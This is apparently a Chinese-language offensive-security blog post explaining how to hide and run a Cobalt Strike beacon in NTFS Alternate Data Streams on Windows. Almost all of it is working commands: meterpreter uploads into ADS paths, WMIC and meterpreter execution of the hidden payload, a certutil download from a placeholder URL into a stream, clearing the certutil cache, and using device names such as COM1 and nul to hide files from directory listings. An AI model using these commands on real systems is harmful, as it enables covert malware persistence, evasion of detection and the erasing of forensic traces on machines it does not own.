为了测试,在这里使用Cobaltstrike 生成一个exe,用来查看文件是否上传成功,并可以顺利执行,每次上传文件以后,服务器自动删除
,如下图:
PS: meterpreter会话是通过powershell web_delivery获取的
尝试创建文件夹成功:
将文件上传至特殊目录:1
upload /tmp/beacon.exe \\\\.\\c:\\WINDOWS\\debug\\WIA\\123:aa.exe
upload /tmp/beacon.exe 123:aa.exe也可以,这是写到了当前目录。
上传以后进入shell 可使用 dir /r
来查看
可以看到成功写入了,之后使用WMIC来执行,命令如下:1
2wmic process call create \\.\c:\WINDOWS\debug\WIA\123:aa.exe
wmic process call create C:\WINDOWS\debug\WIA\123:aa.exe //当前目录使用,需要绝对路径
也可以使用msf来执行1
execute -cH -f "\\\\.\\c:\\WINDOWS\\debug\\WIA\\123:aa.exe"
到cobal里面可以看到会话。
如果有权限的话,可使用certutil下载文件到ADS1
certutil -urlcache -split -f http://url/test.exe \\.\c:\WINDOWS\debug\WIA\123:aa.exe
删除certutil缓存1
certutil.exe -urlcache -split -f http://url/test.exe delete
测试时发现一个有趣的东西,使用test:
使用nul
测试发现,如果想要dir /s 里面看不到ADS,可以使用的文件为:1
2
3
4
5\\.\C:\test\COM1
\\.\C:\test\COM2
...
\\.\C:\test\COM9
\\.\C:\test\nul
并且这些文件是不可以直接删除的,要删除的话使用如下命令:1
del \\.\C:\test\nul
再分享一下怎么样带参数执行ADS文件,其实可以借助于MSF,具体命令如下1
execute -iH -f "c:\\文件路径\\123:1.exe" -a "文件参数"
效果如下图:
使用msf删除ADS,可直接使用rm 加绝对路径即可,如下图: